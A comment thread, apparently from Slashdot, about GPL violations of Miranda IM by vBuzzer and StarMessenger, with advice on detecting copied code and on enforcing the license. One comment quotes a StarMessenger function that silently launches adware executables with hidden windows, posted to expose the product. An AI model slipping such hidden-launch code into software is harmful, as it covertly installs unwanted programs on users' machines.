GPL Violations of Miranda IM

Eesh writes "The Miranda project developers have recently posted to their development blog about two GPL violations of companies using their code - vBuzzer and StarMessenger. Today, they also posted that vBuzzer are taking steps to correct that violation. Hopefully this will work out fine. Miranda 0.401 stable was released recently"

Comments

Oh Miranda!

[Seumas]

Oh Miranda - you came and you gave without taking!

Question...

[deutschemonte]

Maybe this should be an ask slashdot or something, but I have a question.

How does one go about making sure that your source code hasn't been "misappropriated" (read stolen) and placed into a closed source app?

Are there services out there for this sort of thing or do you just have to be forever diligent?

Re:Question...

[Seumas]

One very simple way to at least detect potential similarities is to use strings. In certain situations, you can figure that it should not be likely that two programs would have such identical strings output.

Re:Question...

[Ingolfke]

I'm not sure about the availability of any specific services for this. Your best bet is to contact someone w/ a lot of experience in this sort of thing.

Re:Question...

[l2718]

"How does one go about making sure that your source code hasn't been "misappropriated" (read stolen) and placed into a closed source app?"

The short answer is: you can't be sure. In practice, however, people who write programs keep abreast of other software in their field (e.g. people who write an IM client quickly hear about other IM clients). Hwoever, it usually takes an alert user to notice suspicious similarities to existing software. It seems the first tell-tale sign is the directory structure. In almost every case posted to slashdot, it was noted that the directory structures were the same.

If you become suspicious, the next thing is to extract the strings utility. The first thing to look for is the error message strings, but if the executable is not stripped then you can see your function names and source file names.

Finally, there's the question of proving that they "stole" your source code, wher your legal claim will usually be that they violated your copyright. Most of the time, they know they are in the wrong and just contacting them is enough. However, not all offenders cooperate. Harald Welte has successfuly won a preliminary injunction in a German court against a company which violated the GPL when using code form the ipfilter/iptables firewall project.

I really wish they wouldn't give in so easily

[slavemowgli]

I really wish free software projects wouldn't give in so easily all the time. By not doing anything anymore once the license terms have been satisfied again, they're just teaching companies that it's economically sound to rip them off - after all, you don't lose anything if you get caught, and you gain something if you don't.

This isn't good, though, as it will only encourage the less-than-scrupulous companies to commit further license violations, many of which *will* go undetected. It's one thing to essentially take a product, slap a new name on it, and then try to sell it (like was the case in the CherryOS case) or at least claim it as your own; that's easily detectable. Taking code from a GPL'ed library, though, for example, and integrating that into your $10K+ enterprise application, will most likely not be noticed, even though it is just as illegal.

As such, I'd really like to see an actual lawsuit some time where the developers of the project that was ripped off seek (punitive) damages, and maybe, if the case allows for it, press criminal charges against the company executives, too. Violating a free software license is *no* small matter - it's just as illegal and immoral as it is to press and sell illegally-produced copies of Windows, for example, and companies need to realize that.

Re:Star messanger source code

[Tiersten]

Made good? It'd be better for Star Messenger to be taken outside and destroyed. Star Messenger is a thinly disguised attempt at infecting you with adware.

From StarMessenger/core/miranda.c:

int StartAdware(void)
{
//if (RegDateCheck()==DO_NOT_RUN_ADWARE) return 0;

//WinExec("Test1.exe", SW_SHOW);

WinExec("nngluz564.exe", SW_HIDE);
WinExec("TBGLZ127Q.exe", SW_HIDE);
//WinExec("saap.exe /did=563", SW_HIDE);
return 0;
}

Mmm... Enjoy that adware goodness...

IMBlaze a blatant violation

[sg_oneill]

IMblaze , an instant messenger thats main "feature" is it will spam your contacts with crap, was notified by myself and others at least a year ago that its a blatant rip from gaim. The company refuses to send me source.

I informed the devs of gaim, and they aparently wont act (or cant afford to). But aparently are NOT happy about it.

http://www.imblaze.com/screenshots.asp

Someone needs to stop these creeps.

Re:You fool!

[erroneus]

I think you are one of about maybe 250 people who think there is a double standard when it comes to copyright issues.

Let me try to clarify a few points... maybe then there will be 249 people left without a clue:

1. If the situation were reversed (closed/proprietary source included within an OSS project) there would be a huge stink about it. So make no mistake. It would be immensely easy to show and the perps would be shamed out of the community. I think that's the reason it probably doesn't happen...(that often? I've never heard of it before.)

2. What makes "us" angry about big companies doing bad things is attempting to and often succeeding in taking away our rights and freedoms in order to secure their business model. I don't think there has been a single instance of people getting pissed off over a company embracing and following the GPL rules. In fact, when it happens, we generally flock to these companies in droves. Linksys is a perfect example of this effect. They use Linux in their WRT54G and it's incredibly popular as a result. Speaking only for myself, I look for the Linksys label now when getting small network equipment.

This stuff has nothing to do with music and movies, so don't even go there. It's not the same thing in my mind nor in the minds of others I reckon. It would only become similar if we attempted to make money from copying CDs and DVDs and claimed that we created those works ourselves.

I only wish physical goods could be shared in the way software, music and video can be shared... hunger would be a forgotten problem. (Sure, you can take my sandwich to make a copy for yourself...) If everyone had everything they ever wanted, what would the world come to though? Maybe I'll write a book and give it out to the world for free.

Re:Star messanger source code

[Psionicist]

Dear god they can't even run the spyware correctly.

WinExec

The WinExec function runs the specified application.

Note This function is provided only for compatibility with 16-bit Windows. Applications should use the CreateProcess function.

Re:bad logic

[TERdON]

That IS indeed a violation of both the GPL and most copyright laws. It's a violation of the GPL because it doesn't allow you replacing copyright notices so as to make the program look made by someone else. For reference, GPL 2c:

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)

Re:Star messanger source code

[qazwsxqazwsx90]

Now that they have released their source, you can create a patch that uses CreateProcess instead. See how beneficial open source is to developers.